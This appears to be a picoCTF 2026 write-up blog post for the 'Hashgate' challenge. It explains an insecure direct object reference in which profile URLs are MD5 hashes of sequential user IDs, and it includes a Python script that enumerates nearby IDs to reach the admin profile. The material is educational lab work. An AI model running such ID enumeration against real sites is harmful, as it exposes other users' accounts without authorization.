← Back to list

Hashgate Writeup — picoCTF 2026

Challenge Overview

recoxy · 2026-03-28 15:16 · 0 claps · 1.2 min read
#picoctf-2026 #picoctf #picoctf-2025 #capture-the-flag #ctf-writeup
Open on Medium ↗

Hashgate Writeup — picoCTF 2026

Photo by Glen Carrie on Unsplash

Photo by Glen Carrie on Unsplash

Challenge Overview

The challenge presents a login portal where users can:

  • Submit email and password
  • Get redirected to their profile

At first glance, admin access is not directly exposed, but the hint clearly suggests:

“Obscurity isn’t security.”

Initial Recon

Viewing the HTML source of the login page reveals a hardcoded guest account:

<!-- Email: guest@picoctf.org Password: guest -->

Step 1 — Login as Guest

After logging in, we are redirected to:

http://crystal-peak.picoctf.net:50003/profile/user/e93028bdc1aacdfb3687181f2031765d

Observation

The page shows:

Access level: Guest (ID: 3000)

The hash in the URL:

e93028bdc1aacdfb3687181f2031765d

is actually:

[ MD5(3000) ]

⚠Critical Vulnerability

  • User profiles are accessed via:
/profile/user/<md5(user_id)>
  • No authentication required
  • Only MD5 hash of user ID is used

This is security through obscurity, not real security.

Attack Strategy

If:

[ hash = MD5(user_id) ]

Then:

We can:

  1. Guess user IDs
  2. Compute MD5
  3. Access profiles directly

Step 2 — Brute Force Nearby IDs

Since guest ID = 3000, and there are ~20 employees:

Likely admin is near 3000

Exploit Script

import requests
import hashlib
PORT = 50003
base_url = f"http://crystal-peak.picoctf.net:{PORT}/profile/user/"
session = requests.Session()
def check_id(id_val):
    md5_hash = hashlib.md5(str(id_val).encode()).hexdigest()
    url = base_url + md5_hash
    response = session.get(url)
    print(f"ID: {id_val}, MD5: {md5_hash}")
    if "User not found" not in response.text:
        print(f"\n[+] HIT! ID: {id_val}")
        print(f"URL: {url}")
        if "picoCTF{" in response.text:
            print("🔥 FLAG FOUND 🔥")
        print(response.text)
        print("-" * 50)
        return True
    return False
# Search near guest ID
for i in range(2980, 3021):
    check_id(i)

Step 3 — Result

ID: 3019, MD5: a74c3bae3e13616104c1b25f9da1f11f
[+] HIT! ID: 3019
🔥 FLAG FOUND 🔥

Admin Profile Access

http://crystal-peak.picoctf.net:50003/profile/user/a74c3bae3e13616104c1b25f9da1f11f

🏁 Final Output

Welcome, admin! Here is the flag: picoCTF{xxxx}

메타데이터
post_id
c409deffec3a
slug
hashgate-writeup-2026-c409deffec3a
url
https://medium.com/@recoxy/hashgate-writeup-2026-c409deffec3a
canonical_url
https://medium.com/@recoxy/hashgate-writeup-2026-c409deffec3a
author_url
https://medium.com/@recoxy
status
ok
fetched_at
2026-08-04 22:06:55